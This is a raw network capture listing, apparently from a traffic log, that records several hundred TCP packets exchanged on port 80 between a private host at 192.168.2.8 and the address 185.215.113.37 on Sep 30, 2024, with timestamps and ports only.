Sep 30, 2024 12:33:18.345334053 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345336914 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345366955 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345395088 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345402956 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345415115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345426083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345437050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345448017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345448017 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345468998 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345495939 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345500946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345514059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345524073 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345535040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345545053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345546961 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345567942 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345588923 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345863104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345880985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345892906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345901966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345910072 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345917940 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345927954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345930099 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345943928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345958948 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345963955 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345976114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.345978022 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.345987082 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346014977 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346015930 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346041918 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346498013 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346507072 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346517086 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346528053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346538067 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346548080 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346568108 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346569061 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346580029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346587896 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346604109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346632957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346638918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346647978 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346657038 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346683025 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346704006 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346713066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346723080 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346733093 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346743107 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346754074 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346756935 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346777916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346790075 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346793890 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346801043 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346811056 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346836090 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346865892 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346898079 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346908092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346915960 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346925020 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346935987 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346940994 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346945047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346955061 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346963882 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.346966028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346976995 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.346997023 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.347029924 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.347029924 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.468533039 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.468610048 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.468672037 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.468683958 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.468729973 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.512187004 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.516988993 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728168964 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728180885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728189945 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728221893 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728251934 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728251934 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728291035 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728296995 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728302956 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728312016 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728322029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728348017 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728369951 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728370905 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728390932 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728400946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728410006 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728414059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728423119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728427887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728436947 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728457928 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728477001 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728491068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728501081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728511095 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728521109 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728528976 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728533983 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728547096 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728566885 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728570938 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728580952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728580952 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728604078 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728617907 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728631020 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728645086 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728663921 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728677988 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728677988 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728687048 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728698969 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728748083 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728759050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728770018 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728784084 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728794098 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728804111 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728823900 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728823900 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728856087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728857040 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728866100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728876114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728892088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728902102 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728915930 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728934050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728935957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728935957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728935957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728944063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728952885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728964090 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728966951 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728976011 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728984118 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.728990078 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.728995085 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729008913 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729017019 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729027987 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729047060 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729065895 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729135036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729156017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729166031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729177952 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729218006 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729218006 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729253054 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729263067 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729273081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729278088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729291916 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729298115 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729325056 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729336023 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729343891 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729346037 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729357004 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729367018 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729377031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729388952 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729419947 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729419947 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729434967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729444981 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729454994 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729465008 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729480982 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729487896 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729490042 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729501009 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729507923 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729509115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729527950 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729558945 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729558945 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729594946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729604959 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729614019 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729624033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729641914 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729650974 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729651928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729664087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729669094 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729688883 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729705095 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729708910 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729713917 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729726076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729734898 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729758978 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729758978 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729782104 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729789019 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729799032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729809999 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729818106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729827881 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729855061 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729855061 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729886055 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729891062 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.729893923 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.729948044 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855463028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855474949 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855485916 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855501890 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855510950 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855516911 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855557919 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855567932 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855578899 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855596066 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855628967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855628967 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855628967 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855639935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855648994 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855684996 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855685949 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855703115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855711937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855720043 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855734110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855742931 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855751991 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855762959 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855775118 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855775118 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855798006 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855828047 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855880976 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855891943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855901003 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855915070 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855925083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855935097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855946064 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855947018 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855947018 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855954885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855964899 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855974913 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.855983019 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855992079 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.855993986 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856003046 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856013060 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856023073 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856024027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856046915 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856049061 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856060028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856062889 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856092930 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856120110 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856125116 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856134892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856149912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856159925 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856168985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856178045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856178999 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856190920 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856199026 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856200933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856216908 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856240034 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856244087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856256008 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856266022 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856291056 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856295109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856302023 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856313944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856316090 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856327057 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856336117 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856337070 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856354952 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856384039 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856396914 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856408119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856425047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856434107 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856448889 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856468916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856471062 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856481075 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856489897 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856522083 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856550932 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856592894 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856604099 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856616020 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856626034 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856651068 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856679916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856733084 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856767893 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856780052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856787920 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856818914 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856818914 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856837988 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856848955 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856863976 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856879950 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.856889963 CEST	80	49705	185.215.113.37	192.168.2.8
